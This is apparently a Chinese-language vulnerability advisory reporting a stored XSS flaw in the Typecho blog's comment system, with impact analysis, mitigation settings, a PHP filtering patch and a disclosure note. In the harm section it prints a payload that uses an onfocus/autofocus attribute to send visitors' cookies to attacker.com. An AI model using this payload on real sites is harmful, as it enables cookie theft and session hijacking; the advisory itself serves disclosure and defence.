【漏洞预警】Typecho评论区存在高危存储型XSS漏洞(独立发现者报告)
近期在对Typecho开源博客程序进行定向安全测试时,发现其评论区存在一处高危存储型XSS漏洞,攻击者可利用该漏洞注入恶意脚本,对站点及访客造成安全威胁。现将漏洞细节、影响范围及修复建议整理分享,旨在协助官方完善防护、提醒站长规避风险。
一、漏洞核心信息
漏洞类型:存储型跨站脚本攻击(XSS)
影响范围:Typecho 1.2.1稳定版(实测版本)及未修复该问题的旧版本、衍生版本
触发模块:Typecho默认评论系统(内容提交与前端渲染模块)
漏洞评级:高危(可批量利用,影响面广,无复杂利用条件)
核心成因:评论区对用户输入的HTML链接内容缺乏严格的安全校验与转义处理,允许恶意构造的事件属性代码被存储并执行
二、漏洞发现与验证过程
本次测试基于“开源程序安全合规测试”原则,在本地搭建了孤立的Typecho测试环境(未接入公网,未关联任何真实数据),针对评论区、留言板等用户输入场景进行定向检测:
测试思路:聚焦开源程序常见的输入验证缺陷,重点测试HTML标签、特殊属性的过滤机制;
构造测试 payload:设计包含
onfocus「autofocus」等事件属性的链接构造代码验证过程:在测试环境评论区提交该 payload 后,系统成功存储并在前端渲染时未做任何过滤/转义,浏览评论页面即触发自动跳转,证实漏洞存在;
补充测试:更换不同浏览器(Chrome、Firefox、Edge)及Typecho旧版本(1.1、1.2.0),均能成功触发漏洞,说明该问题并非特定版本或环境的偶发缺陷。
三、漏洞利用场景与危害
1. 对普通访客的危害
强制跳转:浏览包含恶意评论的页面时,被自动导向钓鱼网站、恶意软件下载站点;
信息窃取:攻击者可修改 payload 为
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="">,窃取访客浏览器Cookie、登录凭证等敏感信息;会话劫持:利用窃取的Cookie登录访客账号(若站点未启用HTTPS或Cookie未设置Secure/HttpOnly属性);
页面篡改:注入脚本篡改页面展示内容,传播非法信息或诱导访客操作。
2. 对站点所有者的危害
公信力受损:访客遭遇安全问题后,将对站点安全性产生质疑,导致用户流失;
法律风险:若恶意脚本被用于传播违法内容、实施诈骗,站点管理者可能需承担相应连带责任;
服务器风险:大规模恶意评论可能引发前端渲染异常,增加服务器负载,甚至导致站点暂时不可用。
四、应急修复方案
1. 快速配置防护
启用HTML过滤:登录Typecho后台,进入「设置-评论」,勾选“禁止评论中使用HTML标签”,直接阻断HTML类 payload 提交;
关闭匿名评论:仅允许已注册登录用户发表评论,降低恶意提交的概率;
安装安全插件:启用Typecho第三方安全插件(如「SafeGuard」「CommentFilter」),增强输入内容的安全校验。
2. 代码层面修复
修改Typecho评论处理核心文件(路径:var/Widget/Comments/Post.php),在评论内容提交逻辑中增加危险属性过滤:
// 新增过滤规则:移除on*、autofocus等危险属性
$commentContent = preg_replace('/\s+(on\w+|autofocus|javascript:|vbscript:)[\s=]+/i', ' ', $commentContent);
// 对特殊字符进行转义处理
$commentContent = htmlspecialchars($commentContent, ENT_QUOTES | ENT_HTML5);五、行业倡议
漏洞反馈进展:已通过国家信息安全漏洞共享平台提交漏洞详情,目前处于等待官方响应阶段,将持续配合后续修复验证工作;
行业安全倡议:呼吁所有漏洞发现者遵循“负责任披露”原则,发现漏洞后优先向官方反馈,给予合理修复周期,不随意公开未修复漏洞的完整利用方法;同时提醒开源项目团队重视安全测试,建立完善的漏洞响应机制,共同维护开源生态的安全稳定。




还没有评论,来说两句吧...